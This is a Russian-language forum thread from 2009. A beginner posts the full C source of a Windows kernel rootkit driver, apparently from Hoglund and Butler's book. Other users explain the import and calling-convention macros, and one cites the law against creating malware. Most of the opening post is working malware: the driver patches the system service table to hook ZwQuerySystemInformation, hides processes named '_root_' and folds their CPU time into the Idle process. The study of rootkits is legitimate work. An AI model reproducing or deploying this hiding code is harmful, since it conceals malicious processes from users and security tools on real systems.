Rootkit: Вопросы начинающего...

Тема в разделе "WASM.BEGINNERS", создана пользователем 4N7R0P01, 9 апр 2009.

  1. 4N7R0P01

    4N7R0P01 New Member

    Публикаций:
    0
    Всем доброго времени суток!

    Я начал изучать написание Rootkit"ov. И прошу помочь мне в этом деле более разбирающихся людей. Вся помощь может заключаться лишь в истолковании некоторых строчек кода, которые я не смог понять...

    Базовые знания по руткитам, а также примеры черпаю из такой известной книги как: "ROOTKITS, Subverting the Windows Kernel By: Greg Hoglund and Jamie Butler", но не по англ. версии, так как с английским не сильно у меня(щас собираюсь подналечь и на его обучение), а по русскому его аналогу.

    PS1: Если от меня будут исходить иногда тупые вопросы, то прошу строго не судить ибо только учусь - "все приходит со временем".
    PS2: Возможно решения моих проблем поможет и другим новичкам, которые столкнутся с такими или похожими.
    PS(модераторам): Если есть возможность - перенесите пожалуйста мою тему в раздел WASM.OS.KERNEL ибо в этой придется долго ждать ответом на интересующие вопросы. Заранее спс...


    И так начнем. Первых вопросов будет немного, а если точнее, то их будет всего два. Ниже я привожу исходный код драйвера, по которому мне не понятно два момента - остальное все понятно:

    Код (Text):
    1. // BASIC ROOTKIT that hides processes
    2. // ----------------------------------------------------------
    3. // v0.1 - Initial, Greg Hoglund (hoglund@rootkit.com)
    4. // v0.3 - Added defines to compile on W2K, and comments.  Rich
    5. // v0.4 - Fixed bug while manipulating _SYSTEM_PROCESS array.
    6. //        Added code to hide process times of the _root_*'s. Creative
    7. // v0.6 - Added way around system call table memory protection, Jamie Butler (butlerjr@acm.org)
    8. // v1.0 - Trimmed code back to a process hider for the book.
    9.  
    10. #include "ntddk.h"
    11.  
    12. #pragma pack(1)
    13. typedef struct ServiceDescriptorEntry {
    14.         unsigned int *ServiceTableBase;
    15.         unsigned int *ServiceCounterTableBase; //Used only in checked build
    16.         unsigned int NumberOfServices;
    17.         unsigned char *ParamTableBase;
    18. } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
    19. #pragma pack()
    20.  
    21. __declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
    22. #define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
    23.  
    24.  
    25. PMDL  g_pmdlSystemCall;
    26. PVOID *MappedSystemCallTable;
    27. #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
    28. #define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
    29.        _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
    30.  
    31. #define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
    32.        InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
    33.  
    34.  
    35. struct _SYSTEM_THREADS
    36. {
    37.         LARGE_INTEGER           KernelTime;
    38.         LARGE_INTEGER           UserTime;
    39.         LARGE_INTEGER           CreateTime;
    40.         ULONG                           WaitTime;
    41.         PVOID                           StartAddress;
    42.         CLIENT_ID                       ClientIs;
    43.         KPRIORITY                       Priority;
    44.         KPRIORITY                       BasePriority;
    45.         ULONG                           ContextSwitchCount;
    46.         ULONG                           ThreadState;
    47.         KWAIT_REASON            WaitReason;
    48. };
    49.  
    50. struct _SYSTEM_PROCESSES
    51. {
    52.         ULONG                           NextEntryDelta;
    53.         ULONG                           ThreadCount;
    54.         ULONG                           Reserved[6];
    55.         LARGE_INTEGER           CreateTime;
    56.         LARGE_INTEGER           UserTime;
    57.         LARGE_INTEGER           KernelTime;
    58.         UNICODE_STRING          ProcessName;
    59.         KPRIORITY                       BasePriority;
    60.         ULONG                           ProcessId;
    61.         ULONG                           InheritedFromProcessId;
    62.         ULONG                           HandleCount;
    63.         ULONG                           Reserved2[2];
    64.         VM_COUNTERS                     VmCounters;
    65.         IO_COUNTERS                     IoCounters; //windows 2000 only
    66.         struct _SYSTEM_THREADS          Threads[1];
    67. };
    68.  
    69. // Added by Creative of rootkit.com
    70. struct _SYSTEM_PROCESSOR_TIMES
    71. {
    72.         LARGE_INTEGER                   IdleTime;
    73.         LARGE_INTEGER                   KernelTime;
    74.         LARGE_INTEGER                   UserTime;
    75.         LARGE_INTEGER                   DpcTime;
    76.         LARGE_INTEGER                   InterruptTime;
    77.         ULONG                           InterruptCount;
    78. };
    79.  
    80.  
    81. NTSYSAPI
    82. NTSTATUS
    83. NTAPI ZwQuerySystemInformation(
    84.             IN ULONG SystemInformationClass,
    85.                         IN PVOID SystemInformation,
    86.                         IN ULONG SystemInformationLength,
    87.                         OUT PULONG ReturnLength);
    88.  
    89.  
    90. typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
    91.             ULONG SystemInformationCLass,
    92.                         PVOID SystemInformation,
    93.                         ULONG SystemInformationLength,
    94.                         PULONG ReturnLength
    95. );
    96.  
    97. ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;
    98.  
    99. // Added by Creative of rootkit.com
    100. LARGE_INTEGER                   m_UserTime;
    101. LARGE_INTEGER                   m_KernelTime;
    102.  
    103. ///////////////////////////////////////////////////////////////////////
    104. // NewZwQuerySystemInformation function
    105. //
    106. // ZwQuerySystemInformation() returns a linked list of processes.
    107. // The function below imitates it, except it removes from the list any
    108. // process who's name begins with "_root_".
    109.  
    110. NTSTATUS NewZwQuerySystemInformation(
    111.             IN ULONG SystemInformationClass,
    112.             IN PVOID SystemInformation,
    113.             IN ULONG SystemInformationLength,
    114.             OUT PULONG ReturnLength)
    115. {
    116.  
    117.    NTSTATUS ntStatus;
    118.  
    119.    ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
    120.                     SystemInformationClass,
    121.                     SystemInformation,
    122.                     SystemInformationLength,
    123.                     ReturnLength );
    124.  
    125.    if( NT_SUCCESS(ntStatus))
    126.    {
    127.       // Asking for a file and directory listing
    128.       if(SystemInformationClass == 5)              
    129.       // The type of system information to be queried.The permitted values are a subset of
    130.       // the enumeration SYSTEM_INFORMATION_CLASS,described in the following section. хз что это :)
    131.       {
    132.          // This is a query for the process list.
    133.          // Look for process names that start with
    134.          // '_root_' and filter them out.
    135.                    
    136.          struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;   
    137.          struct _SYSTEM_PROCESSES *prev = NULL;                                            
    138.          
    139.          while(curr)                                                                       
    140.          {
    141.             //DbgPrint("Current item is %x\n", curr);
    142.             if (curr->ProcessName.Buffer != NULL)
    143.             {
    144.                 if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
    145.                 {
    146.                     m_UserTime.QuadPart += curr->UserTime.QuadPart;
    147.                     m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
    148.  
    149.                     if(prev) // Middle or Last entry
    150.                     {
    151.                         if(curr->NextEntryDelta)
    152.                             prev->NextEntryDelta += curr->NextEntryDelta;
    153.                         else    // we are last, so make prev the end
    154.                             prev->NextEntryDelta = 0;
    155.                     }
    156.                     else
    157.                     {
    158.                         if(curr->NextEntryDelta)
    159.                         {
    160.                             // we are first in the list, so move it forward
    161.                             (char *)SystemInformation += curr->NextEntryDelta;
    162.                         }
    163.                         else // we are the only process!
    164.                             SystemInformation = NULL;
    165.                     }
    166.                 }
    167.             }
    168.             else // This is the entry for the Idle process
    169.             {
    170.                // Add the kernel and user times of _root_*
    171.                // processes to the Idle process.
    172.                curr->UserTime.QuadPart += m_UserTime.QuadPart;
    173.                curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
    174.  
    175.                // Reset the timers for next time we filter
    176.                m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
    177.             }
    178.             prev = curr;
    179.             if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
    180.             else curr = NULL;
    181.          }
    182.       }
    183.       else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
    184.       {
    185.          struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
    186.          times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
    187.       }
    188.  
    189.    }
    190.    return ntStatus;
    191. }
    192.  
    193.  
    194. VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
    195. {
    196.    DbgPrint("ROOTKIT: OnUnload called\n");
    197.  
    198.    // unhook system calls
    199.    UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );
    200.  
    201.    // Unlock and Free MDL
    202.    if(g_pmdlSystemCall)
    203.    {
    204.       MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
    205.       IoFreeMdl(g_pmdlSystemCall);
    206.    }
    207. }
    208.  
    209.  
    210. NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
    211.                      IN PUNICODE_STRING theRegistryPath)
    212. {
    213.    // Register a dispatch function for Unload
    214.    theDriverObject->DriverUnload  = OnUnload;
    215.  
    216.    // Initialize global times to zero
    217.    // These variables will account for the
    218.    // missing time our hidden processes are
    219.    // using.
    220.    m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
    221.  
    222.    // save old system call locations
    223.    OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
    224.  
    225.    // Map the memory into our domain so we can change the permissions on the MDL
    226.    g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
    227.    if(!g_pmdlSystemCall)
    228.       return STATUS_UNSUCCESSFUL;
    229.  
    230.    MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
    231.  
    232.    // Change the flags of the MDL
    233.    g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
    234.  
    235.    MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
    236.  
    237.    // hook system calls
    238.    HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
    239.                              
    240.    return STATUS_SUCCESS;
    241. }
    Впрос №1: От куда импортируется эта таблица?

    Код (Text):
    1. __declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
    и почему если я изменяю переменную с KeServiceDescriptorTable на KeServiceDescriptorTable123 - выбивает ошибку

    Код (Text):
    1. 1>interceptssdt.obj : error LNK2001: unresolved external symbol __imp__KeServiceDescriptorTable123
    2. 1>objchk_wxp_x86\i386\MYDRIVER.sys : fatal error LNK1120: 1 unresolved externals
    Впрос №2:: Что делают(дают) константы NTSYSAPI и NTAPI? И для чего они нужны? Единственное, что понял, они связаны с импортом.

    Код (Text):
    1. NTSYSAPI
    2. NTSTATUS
    3. NTAPI ZwQuerySystemInformation(
    4.             IN ULONG SystemInformationClass,
    5.             IN PVOID SystemInformation,
    6.             IN ULONG SystemInformationLength,
    7.             OUT PULONG ReturnLength
    8. );
     
  2. n0name

    n0name New Member

    Публикаций:
    0
    ntoskrnl.exe
    посмтори их определения в DDK.
     
  3. 4N7R0P01

    4N7R0P01 New Member

    Публикаций:
    0
    Дело в том, что

    [​IMG]

    Ни NTSYSAPI, ни NTAPI, и что самое интересное даже NTSTATUS - в документации нет(
     
  4. SashaTalakin

    SashaTalakin New Member

    Публикаций:
    0
    Может рановато-с в ядро лезть. Да тем более с руткитами, которые по идее пишут люди которые окромя стандартных техник ядерного программир-я владеют несколько большим багажом знаний о внутренностях ОС - и сначала разобраться с языком С и какой-нибудь IDE например MSVS?
     
  5. 4N7R0P01

    4N7R0P01 New Member

    Публикаций:
    0
    C ASM, C/C++ разобрался уже давно... Также есть базовые теоретические знания программирования драйверов, поэтому хочу закреплять и увеличивать знания в программировании - на примерах руткитов, так как это интересная область.
     
  6. n0name

    n0name New Member

    Публикаций:
    0
    Под определением я предложил посмотреть в заголовочных файлах.
     
  7. BlackParrot

    BlackParrot New Member

    Публикаций:
    0
    Строчка, которую ты указал - директива компилятора указывающая на то, что импортируемый символ будет браться из внешнего модуля. При линковке линкер просматривает внешние ссылки (одна из них KeServiceDescriptorTable) и генерирует либо entry в таблице импорта, либо добавляет код из obj. В твоем случае линкер находит символ из ntoskrnl.lib и создает запись в таблице импорта результирующего PE-файла. Исходя из этой теории, если ты напишишь KeServiceDescriptorTable123 его нн окажется в библиотеке импорта (lib) и линкер укажет на unresolved-символ.

    Эти предпроцессорные константы описываются в ntdef.h:
    Код (Text):
    1. #define NTAPI __stdcall
    - конвенция вызова - указание компилятору какой код генерировать при вызове функции.
    Код (Text):
    1. #define NTSYSAPI __declspec(dllimport)
    все тот же импорт, можно было написать выше
    Код (Text):
    1. NTSYSAPI ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
     
  8. 4N7R0P01

    4N7R0P01 New Member

    Публикаций:
    0
    Так как не заметил ответа BlackParrot, то порылся сам в заголовочных файлах. Вырезки найденного приведены ниже.

    Код (Text):
    1. // begin_winnt begin_ntndis
    2.  
    3. #if ((_MSC_VER >= 800) || defined(_STDCALL_SUPPORTED)) && !defined(_M_AMD64)
    4. #define NTAPI __stdcall
    5. #else
    6. #define _cdecl
    7. #define NTAPI
    8. #endif
    9.  
    10. //
    11. // Define API decoration for direct importing system DLL references.
    12. //
    13.  
    14. #if !defined(_NTSYSTEM_)
    15. #define NTSYSAPI     DECLSPEC_IMPORT
    16. #define NTSYSCALLAPI DECLSPEC_IMPORT
    17. #else
    18. #define NTSYSAPI
    19. #if defined(_NTDLLBUILD_)
    20. #define NTSYSCALLAPI
    21. #else
    22. #define NTSYSCALLAPI DECLSPEC_ADDRSAFE
    23. #endif
    24.  
    25. #endif
    26.  
    27. // end_winnt end_ntndis
    Код (Text):
    1. #if (defined(_M_IX86) || defined(_M_IA64) || defined(_M_AMD64)) && !defined(MIDL_PASS)
    2. #define DECLSPEC_IMPORT __declspec(dllimport)
    3. #else
    4. #define DECLSPEC_IMPORT
    5. #endif
     
  9. 4N7R0P01

    4N7R0P01 New Member

    Публикаций:
    0
    BlackParrot

    Отдельное вам большое спасибо за потраченное время на объяснение, ответ самый простой и развернутый! )))
     
  10. JCronos

    JCronos New Member

    Публикаций:
    0
    4N7R0P01 Советую прочитать статьи с сайта Волынкина, про SDT
    http://volynkin.ru/sdts.htm
     
  11. 4N7R0P01

    4N7R0P01 New Member

    Публикаций:
    0
    JCronos, Большое спасибо за ссылочку)) С удовольствием почитаю)
     
  12. ltshck

    ltshck New Member

    Публикаций:
    0
    статья 273 создание и распространение вредоносных программ...